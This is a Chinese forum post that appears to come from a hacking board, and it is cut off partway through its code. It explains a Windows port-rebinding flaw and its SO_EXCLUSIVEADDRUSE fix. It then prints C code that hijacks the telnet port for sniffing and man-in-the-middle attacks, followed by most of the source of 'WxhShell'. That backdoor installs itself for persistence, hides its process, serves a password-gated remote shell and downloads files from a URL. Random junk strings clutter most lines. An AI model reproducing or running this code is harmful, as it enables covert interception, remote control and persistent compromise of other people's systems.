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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |4$M]Mf0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :w}{$v}#D;  
r/pH_@  
  saddr.sin_family = AF_INET; Grs]d-xI  
EA ]+vq  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =q N2Xg/  
^` un'5Vk  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); db'/`JeK b  
+]=e;LN$0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]7-&V-Ct*  
HhO".GA  
  这意味着什么?意味着可以进行如下的攻击: =*p/F  
UOQEk22  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 W3`>8v1?o  
zJe#m|Z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) R$;n)_H  
y#}cC+;   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [MuEoWrq(}  
),%6V5a+E  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  wFG3KzEq ~  
*s@Qtgu  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 U qG .:@T  
{vAE:W.s  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Gt9&)/#  
/cc\fw1+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 o7IxJCL=Q  
 hi g2  
  #include [+O"<Ua  
  #include GfM;saTz{  
  #include j ";2o(  
  #include    (sVi\R  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2]%h$f+  
  int main() !i=nSqW  
  { 9UvXC)R1  
  WORD wVersionRequested; J2uZmEt  
  DWORD ret; N0#JOu}~  
  WSADATA wsaData; [@yV!#2  
  BOOL val; =8U&[F  
  SOCKADDR_IN saddr; g{5A4|_7  
  SOCKADDR_IN scaddr; >X*Mio8P#  
  int err; sz9L8f2  
  SOCKET s; CI3XzH\IX*  
  SOCKET sc; `/Y{ l  
  int caddsize; yf&7P;A  
  HANDLE mt; re> rr4@  
  DWORD tid;   ?%H):r  
  wVersionRequested = MAKEWORD( 2, 2 ); Y@PI {;!  
  err = WSAStartup( wVersionRequested, &wsaData ); /x3/Ubmz~x  
  if ( err != 0 ) { {Zp\^/  
  printf("error!WSAStartup failed!\n"); as J)4ema  
  return -1; L(X6-M:  
  } KK@.~'d  
  saddr.sin_family = AF_INET; N!*_La=TuH  
   `^lYw:xA  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S_~z-`;h!  
qCv20#!"|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >E*$ E  
  saddr.sin_port = htons(23); ,o]4?-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?yh}/T\qp  
  { *L!!]Q2c  
  printf("error!socket failed!\n"); MDF%\Sx  
  return -1; g2unV[()_  
  } 0OGCilOb*  
  val = TRUE; ~a xjjv  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 CKA;.sh  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Rp$}YN  
  { EI\9_}@,  
  printf("error!setsockopt failed!\n"); Qt|c1@J  
  return -1; `5H$IP1XhA  
  } `"%T=w  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *OQG 4aWy  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 OgX6'E\E  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ETB6f  
O:da-xWJ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) p ;|jI1  
  { I$8" N]/C  
  ret=GetLastError(); NH3cq  
  printf("error!bind failed!\n"); z $MV%F  
  return -1; S4=R^];l  
  } Q,80Hor#J  
  listen(s,2); IgC}&  
  while(1) s|D>-  
  { W\18{mbuy  
  caddsize = sizeof(scaddr); (ND4Q[*6  
  //接受连接请求 j;+?HbL  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Y"KE7>Jf  
  if(sc!=INVALID_SOCKET) umdG(osR  
  { fHZTXvxoL  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); n`4K4y%Dy}  
  if(mt==NULL) w |l1'   
  { KM`eIw>8  
  printf("Thread Creat Failed!\n"); }2ZsHM^]%  
  break; Ko^c|}mh*!  
  } Vx @|O%  
  } Yq/.-4 y  
  CloseHandle(mt);  YBnA+l*  
  } itzyCw2|#  
  closesocket(s); <7Ae-!>x  
  WSACleanup(); IJ/sX_k  
  return 0; 5aa<qtUjH  
  }   j^`hzh3S  
  DWORD WINAPI ClientThread(LPVOID lpParam) (!:cen~|[  
  { )Z %T27r,^  
  SOCKET ss = (SOCKET)lpParam; JAI)Eqqv]  
  SOCKET sc;  aH#l9kCb  
  unsigned char buf[4096]; bMU(?hb  
  SOCKADDR_IN saddr; _sbp6ZO_  
  long num; sdS^e`S  
  DWORD val; 5/O'R9A4  
  DWORD ret; ++DG5`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 wfjnA~1h  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   fK(}Ce  
  saddr.sin_family = AF_INET; E_zIg+(+  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5^j45'%I  
  saddr.sin_port = htons(23); xzx$TUL  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hI(SOsKs  
  { M'!U<Y -  
  printf("error!socket failed!\n"); [b$4Shx  
  return -1; LzCw+@-umw  
  } WQHd[2Z#e  
  val = 100; *OyHHq|>q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T\r@5Xv  
  { wM|" I^[  
  ret = GetLastError(); %E_b'[8  
  return -1; j+HHQd7Y  
  } L;od6<.*m  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @&}q} D  
  { f0T ,ul,  
  ret = GetLastError(); (< =}]v  
  return -1; 07hF2[i  
  } @'=Uq  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }Nb8}(6  
  { ?h1H.s2X  
  printf("error!socket connect failed!\n"); }ZqW@ -  
  closesocket(sc); &Ni`e<mP  
  closesocket(ss); F0690v0mB[  
  return -1; f#Xyoa%  
  } sUYxT>R  
  while(1) +\r+n~w  
  { 1J' 3g  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "al `$%(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )7:J[0ZiQ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 o`.R!wm:W  
  num = recv(ss,buf,4096,0); `N5|Ho*C  
  if(num>0) K x~|jq  
  send(sc,buf,num,0); A7c/N=Cp^  
  else if(num==0) pNRk.m]  
  break; ./$cMaDJ  
  num = recv(sc,buf,4096,0); fJWC)E  
  if(num>0) C XHy.&Vt  
  send(ss,buf,num,0); *x) 8fAr  
  else if(num==0) HQ{JwW!m  
  break; ^S6u<,  
  } PpsIhMq@  
  closesocket(ss); xB !6_VlB  
  closesocket(sc); wK}\_2?  
  return 0 ; UswZG^Wh  
  } tBct  
v|E"[P2e  
'u` .P:u?  
========================================================== { m| pl  
"4%"&2L  
下边附上一个代码,,WXhSHELL ;Q+xK h%  
NuU9~gSQ  
========================================================== boo }u  
)3h^Y=43  
#include "stdafx.h" Iz[@^IUx=  
jM:Y' l]  
#include <stdio.h> iH.$f /)N  
#include <string.h> 0 &GRPu27  
#include <windows.h> g&n)fF  
#include <winsock2.h> t&9A ]<n%,  
#include <winsvc.h> \RVW  
#include <urlmon.h> jVH|uX"M5Y  
>s`J5I!  
#pragma comment (lib, "Ws2_32.lib") . <tq6 1  
#pragma comment (lib, "urlmon.lib") P+)DsZ0ig  
2[gFkyqe  
#define MAX_USER   100 // 最大客户端连接数  ykrr2x  
#define BUF_SOCK   200 // sock buffer @JW@-9/  
#define KEY_BUFF   255 // 输入 buffer 4ikdM/  
_f6HAGDN  
#define REBOOT     0   // 重启 iX\W;V  
#define SHUTDOWN   1   // 关机 C4}*) a  
(8ht*b.5K  
#define DEF_PORT   5000 // 监听端口 [{r}u  
uw},`4`  
#define REG_LEN     16   // 注册表键长度 3z ]+uv+2J  
#define SVC_LEN     80   // NT服务名长度 R=T qj,6  
iZZ (4  
// 从dll定义API -WQ^gcO=7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?2Kt'1s#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =tU{7i*+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j w* IO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S"wg2X<  
.Q)|vq^  
// wxhshell配置信息 K\)Td+~jc  
struct WSCFG { -rKO )}  
  int ws_port;         // 监听端口 @x/T&67k  
  char ws_passstr[REG_LEN]; // 口令 ;=? ~ -_  
  int ws_autoins;       // 安装标记, 1=yes 0=no oBUxKisW  
  char ws_regname[REG_LEN]; // 注册表键名 pMs AyCAk  
  char ws_svcname[REG_LEN]; // 服务名 2r%lA\,h$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W(hMft%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vLxQ *50v$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Er k?}E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xm6EKp:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H'qG/@u-l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?:Y#Tbi3  
>{ me  
}; + S4fGT  
Zatf9yGD  
// default Wxhshell configuration KFZm`,+69  
struct WSCFG wscfg={DEF_PORT, 6{qIU}!  
    "xuhuanlingzhe", 0q rqg]  
    1, 6:% L![FX  
    "Wxhshell", JH7Ad (:  
    "Wxhshell", Ez{MU@Fk  
            "WxhShell Service", <[GYLN[0Q  
    "Wrsky Windows CmdShell Service", L>Mpi$L  
    "Please Input Your Password: ", MZ+e}|!4,  
  1, N0>0z]4;q  
  "http://www.wrsky.com/wxhshell.exe", [Ei1~n)o  
  "Wxhshell.exe" MV=9!{`  
    }; {_U Kttp  
I-agZag%  
// 消息定义模块 it2 a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rfw-^`&{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wC-Rr^q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !K? qgM  
char *msg_ws_ext="\n\rExit."; G4 G5PXi  
char *msg_ws_end="\n\rQuit."; -{ u*qtp  
char *msg_ws_boot="\n\rReboot..."; N S#TW  
char *msg_ws_poff="\n\rShutdown..."; TPE:e)GO  
char *msg_ws_down="\n\rSave to "; s s 3t  
Rte+(- iL  
char *msg_ws_err="\n\rErr!"; irk*~k ?  
char *msg_ws_ok="\n\rOK!"; IcIOC8WC  
2 3KyCV5  
char ExeFile[MAX_PATH]; A?Wk  w f  
int nUser = 0; umLb+GbI4  
HANDLE handles[MAX_USER]; u>pBB@  
int OsIsNt; xug)aE  
iRi{$.pVJ  
SERVICE_STATUS       serviceStatus; h3gWOU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #Dfo#]k(  
_8G>&K3T<  
// 函数声明 g+PPW88P;  
int Install(void); !jqWwi  
int Uninstall(void); U1_&gy @y  
int DownloadFile(char *sURL, SOCKET wsh); 6x=YQwn~  
int Boot(int flag); \C 5%\4  
void HideProc(void); dd|W@Xp -  
int GetOsVer(void); Iak0 [6Ey  
int Wxhshell(SOCKET wsl); F\ctuaLC  
void TalkWithClient(void *cs); 8e0."o.6  
int CmdShell(SOCKET sock); -=698h*  
int StartFromService(void); htP|3B  
int StartWxhshell(LPSTR lpCmdLine); 1nPZ<^A&@  
FEz>[#eOX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^nVl (^{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _GqS&JHSf  
7~M<cD  
// 数据结构和表定义 eo^/c +FG  
SERVICE_TABLE_ENTRY DispatchTable[] = 6D;^uM2N  
{ oPKXZU(c  
{wscfg.ws_svcname, NTServiceMain}, -RJE6~>'\  
{NULL, NULL} 0@Kkl$O>mb  
}; 8dK0o>|}  
0uCT+-  
// 自我安装 nW?R"@Zm  
int Install(void) 69#8Z+dw7  
{ <Q<+4Y{R  
  char svExeFile[MAX_PATH]; 3z;_KmM  
  HKEY key; c-j_INGm  
  strcpy(svExeFile,ExeFile); H(Ms^8Vs~:  
X5g[ :QKP7  
// 如果是win9x系统,修改注册表设为自启动 p4VSm a_(  
if(!OsIsNt) { DG;y6#|p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VhEMk\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,)~E>[=+  
  RegCloseKey(key); >NV=LOO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %~*jae!f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P%X-@0)  
  RegCloseKey(key); oojiJ~  
  return 0; 5(&xNT-n8  
    } uHNpfKnZ  
  } A\te*G0:S  
} dPjhq(8 zU  
else { <@bA?FY  
Hoz56y  
// 如果是NT以上系统,安装为系统服务 q;AT>" =)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  +f4W"t  
if (schSCManager!=0) ;+pOP |P=  
{ OuIv e>8  
  SC_HANDLE schService = CreateService ;K:8#XuV  
  ( !PUp>(  
  schSCManager, /-0' Qa+*  
  wscfg.ws_svcname, o07IcIo  
  wscfg.ws_svcdisp, h7qBp300  
  SERVICE_ALL_ACCESS, MEwdw3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |)_-Bi;MW`  
  SERVICE_AUTO_START, &S74mV  
  SERVICE_ERROR_NORMAL, ZI ?W5ISdg  
  svExeFile, 6ew "fCrH!  
  NULL, 2H?d+6Pt3  
  NULL, n"aCt%v  
  NULL, wX1ig  
  NULL, fMK#x\.4  
  NULL l54|Q  
  ); FquFRx  
  if (schService!=0) Sav`%0q?7a  
  { POU}/e!Ua  
  CloseServiceHandle(schService); e&X>F"z2  
  CloseServiceHandle(schSCManager); N b3$4(F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); & 7QH^  
  strcat(svExeFile,wscfg.ws_svcname); 8V4V3^_xs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /c+)C"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ; 7G_f  
  RegCloseKey(key); %6 =\5>  
  return 0; 4f1D*id*`#  
    } qJ[@:&:  
  } 9EF~l9`'U  
  CloseServiceHandle(schSCManager); Ri?\m!o  
} e-D4'lu  
} F!KV\?eM$  
&A50'8B2A  
return 1; #GqTqHNE<  
} XKLF8~y8A  
{`.O|_b  
// 自我卸载 E*v]:kok  
int Uninstall(void) tGqCt9;<  
{ 'UDBV  
  HKEY key; r25Z`X Z  
m=&j@  
if(!OsIsNt) { (N U0T w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M$CVQ>op:  
  RegDeleteValue(key,wscfg.ws_regname); `"y{;PCt_  
  RegCloseKey(key); >BqCkyM9Kf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~-Oa8ww  
  RegDeleteValue(key,wscfg.ws_regname); ged,>  
  RegCloseKey(key); gAE!a Ky  
  return 0; CD?&<NV  
  } (M% ;~y\  
} rH}fLu8,;Q  
} ~oi_r8 K  
else { C*wdtEGq  
rpU/s@%L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v}il(w;O  
if (schSCManager!=0) a[O6YgO  
{ .1ddv4Hk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >,g5Hkmqr  
  if (schService!=0) N <pbO#e  
  { kG3!(?:  
  if(DeleteService(schService)!=0) { YQ,tt<CQ  
  CloseServiceHandle(schService); By)3*<5a_  
  CloseServiceHandle(schSCManager); ]O@"\_}  
  return 0; +0#JnqH"  
  } $U'3MEEw  
  CloseServiceHandle(schService); `facFt[\  
  } {fG|_+tl3o  
  CloseServiceHandle(schSCManager); _5\AS+[x  
} ^L O]Z  
} 3YTIH2z 5  
5 ;vC(Go  
return 1; +Hyk'=.W  
} e(\Q)re5Q  
zHx mA  
// 从指定url下载文件 TU%"jb5  
int DownloadFile(char *sURL, SOCKET wsh) =WRO\lgv.  
{ T]2U fi.  
  HRESULT hr; U1^l+G^,~  
char seps[]= "/"; :`<psvd  
char *token; vo b$iS`>=  
char *file; />Jm Rdf  
char myURL[MAX_PATH]; S:s 3EM  
char myFILE[MAX_PATH]; i]M"Cu*  
EX 9Z{xX  
strcpy(myURL,sURL); W'G{K\(/  
  token=strtok(myURL,seps); Nu. (viQ}  
  while(token!=NULL) -931'W[s,  
  { |e"/Mf[  
    file=token; OWV/kz5'H  
  token=strtok(NULL,seps); ?cBO6^  
  } F^sw0 .b  
)H+h ;U  
GetCurrentDirectory(MAX_PATH,myFILE); s-5wbi.C  
strcat(myFILE, "\\"); RO(iHR3cA  
strcat(myFILE, file); k.>6nho`TV  
  send(wsh,myFILE,strlen(myFILE),0); ,|x\MHd?t_  
send(wsh,"...",3,0); >r:X~XnRUj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D% @KRcp^b  
  if(hr==S_OK) j1Fw U  
return 0; ]|BojSL_  
else E(/ sXji!  
return 1; 104!!m  
: ~'Z(-a  
} !c_u-&b)  
iwkJ~(5z  
// 系统电源模块 p)z-W(  
int Boot(int flag) `G0*l|m>  
{ n'3u] ~7^  
  HANDLE hToken; }MjQP R  
  TOKEN_PRIVILEGES tkp; @$ftG  
/yt7#!tm+  
  if(OsIsNt) { {tmKCG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,]U[W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); GRQ_+K  
    tkp.PrivilegeCount = 1; Ge~,[If+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |Pf(J;'[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D@5s8xv  
if(flag==REBOOT) { M4H"].Zm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i?W]*V~ply  
  return 0; .S6ji~;r  
} CjmV+%b4  
else { 9RB`$5F ;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '2wCP EC  
  return 0; -4%]QS  
} <4sj@C  
  } n`QO(pZ6+  
  else { \AHY[WKx  
if(flag==REBOOT) { Za9$Hh/X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :r^klJ(m  
  return 0;  9^p32G  
} p~FQcW'a~  
else { ~ ;XYwQ"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >Pyc[_j  
  return 0; @bY?$fj_u  
} D8EeZUqU  
} O*ImLR)i+s  
1M=   
return 1; iW;}%$lVX  
} m1i4,  
\"J?@  
// win9x进程隐藏模块 5<^'Cy  
void HideProc(void) (>mi!:  
{ >KKeV(Ur  
{Wa~}1`Kl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); psu OJ-  
  if ( hKernel != NULL ) d<_NB]V&F  
  { s`r-v/3l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ia'x]#~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u8^Y,LN  
    FreeLibrary(hKernel); W?=$V>)  
  } 7Zo&+  
7}A5u,.,ht  
return; =g >.X9lr  
} Pu-p7:99;'  
RP(a,D|  
// 获取操作系统版本 KS?mw`Nr  
int GetOsVer(void) B%2L1T=  
{ l:q8Pg)  
  OSVERSIONINFO winfo; T G_bje  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CJv> /#$/F  
  GetVersionEx(&winfo); 8,_ -0_^$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _HLC>pH~#  
  return 1; 6<<'bi  
  else "bPCOJ[v9  
  return 0; nW~$ (Qnd  
} ](_{,P  
Ny.*G@&  
// 客户端句柄模块 _yNT=#/  
int Wxhshell(SOCKET wsl) LSSW.Oz2L  
{ %V31B\]Nz7  
  SOCKET wsh; r?>Vx -  
  struct sockaddr_in client;  gm(De9u  
  DWORD myID; AvyQ4xim+  
6$;L]<$W>  
  while(nUser<MAX_USER) Z^{+,$H@  
{ % Oz$_Xe  
  int nSize=sizeof(client); D DQs42[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9LH=3Qt  
  if(wsh==INVALID_SOCKET) return 1; hHCzj*5  
<D~6v2$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l<W*/}3  
if(handles[nUser]==0) ;]{{)dst  
  closesocket(wsh); Wx}M1&d/J  
else F%9cS :  
  nUser++; s fyBw  
  } Mm "Wk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |3 ;u"&(P  
]/LWrQD  
  return 0; \{[D|_   
} stX'yya  
`0Yt1Z&  
// 关闭 socket C%0<1 mp  
void CloseIt(SOCKET wsh) y!SF/i?Py  
{ r@olC7&  
closesocket(wsh); 6`_!?u7  
nUser--; u\M4`p!g=  
ExitThread(0); nDyvX1]  
} =E&24  
{5U1`>  
// 客户端请求句柄 'BqrJfv  
void TalkWithClient(void *cs) zpbcmQB*  
{ tp#Z@5=  
zwMQXI'k83  
  SOCKET wsh=(SOCKET)cs; e)*mC oR  
  char pwd[SVC_LEN]; tB GkRd!  
  char cmd[KEY_BUFF]; 5LO4P>fq  
char chr[1]; 9!5b2!JL  
int i,j; jaK'W  
a ZI>x^X  
  while (nUser < MAX_USER) { #!w:_T%  
{An8/"bv}  
if(wscfg.ws_passstr) { lr`?yn1D(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +Y^-e.UO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'uPxEu4 >4  
  //ZeroMemory(pwd,KEY_BUFF); Sc%aJ1  
      i=0; /z/hUa  
  while(i<SVC_LEN) { *Hx j_  
L& I` #  
  // 设置超时 4\&H?:c.  
  fd_set FdRead; ? UxG/]",  
  struct timeval TimeOut; BO8%:/37[4  
  FD_ZERO(&FdRead); cC b>zI  
  FD_SET(wsh,&FdRead); ^Yf3"D?&  
  TimeOut.tv_sec=8; w/qQ(]n8  
  TimeOut.tv_usec=0; issT{&T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -" 2<h:#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v;K{|zUdB  
RcY6V_Qx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); se~ *<5  
  pwd=chr[0]; :|?~B%-p[  
  if(chr[0]==0xd || chr[0]==0xa) { 5OPS&:  
  pwd=0; ?+bTPl;%'  
  break; Tf9&,!>V  
  } JCM)N8~i  
  i++; WA<H  
    } mw:3q6  
)W[KD,0+j  
  // 如果是非法用户,关闭 socket QV`X?m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OI'uH$y  
} u86J.K1Q  
^fA3<|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JOA%Y;`<#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :X3rd|;kc  
\%w7D6dEZ  
while(1) { \B*k_W/r@  
j'G"ZPw1  
  ZeroMemory(cmd,KEY_BUFF); {fAh@:{@  
(jp1; #P!  
      // 自动支持客户端 telnet标准   xnl<<}4pJ  
  j=0; 6$W-?  
  while(j<KEY_BUFF) { D /,|pC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5Z^$`$/.v#  
  cmd[j]=chr[0]; 6&g!ZE'G  
  if(chr[0]==0xa || chr[0]==0xd) { 38"8,k  
  cmd[j]=0; O{;M6U8C\  
  break; e 7Yb=/F  
  } M \ :"~XW  
  j++; ?whRlh  
    } 3c1o,2  
2z.k)Qx!Z  
  // 下载文件 o%kSR ]V|  
  if(strstr(cmd,"http://")) { ~J8cS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (1j(* ?2  
  if(DownloadFile(cmd,wsh)) @/_XS4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hXV4$Dai  
  else +W V@o'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Iu=pk@*O  
  } C!aX45eg  
  else { / e~  
n`FQgC  
    switch(cmd[0]) { F!z! :yp  
  2jI4V;H8g  
  // 帮助 5O;/ lX!u  
  case '?': { E'S<L|A/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8.Pcr<  
    break; eLHa9R{)B  
  } D6C -x  
  // 安装 Pur"9jHa4  
  case 'i': { Hl%+F 0^?  
    if(Install()) -L^0-g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v :'P"uU;4  
    else X}65\6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #Z2>TN  
    break; DI $ mD{  
    } ,Ut!u)  
  // 卸载 UD Iac;vT  
  case 'r': { {GGO')p  
    if(Uninstall()) Y\Fuj)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Szgph"ul  
    else Li?{e+g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @Z3[ c[D)9  
    break; &lXx0 "-$  
    } u;l6sdo  
  // 显示 wxhshell 所在路径 puf;"c6e'  
  case 'p': { )_x8?:lv  
    char svExeFile[MAX_PATH]; 30gZ_ 8C>}  
    strcpy(svExeFile,"\n\r"); C%x(`S^/  
      strcat(svExeFile,ExeFile); a=}">=]7  
        send(wsh,svExeFile,strlen(svExeFile),0); S2{ ?W  
    break; BDB zc5Q(  
    } uK"$=v6|  
  // 重启 ie$fMBIq  
  case 'b': { ;X9MA=b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P:zEx]Y%  
    if(Boot(REBOOT)) o'= [<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2vW,.]95M  
    else { } (GQDJp  
    closesocket(wsh); B?/12+sR  
    ExitThread(0); D6pEQdX`  
    } i?P]}JENM  
    break; z- {"pI  
    } H|(*$!~e  
  // 关机 Y/:Q|HnXQ  
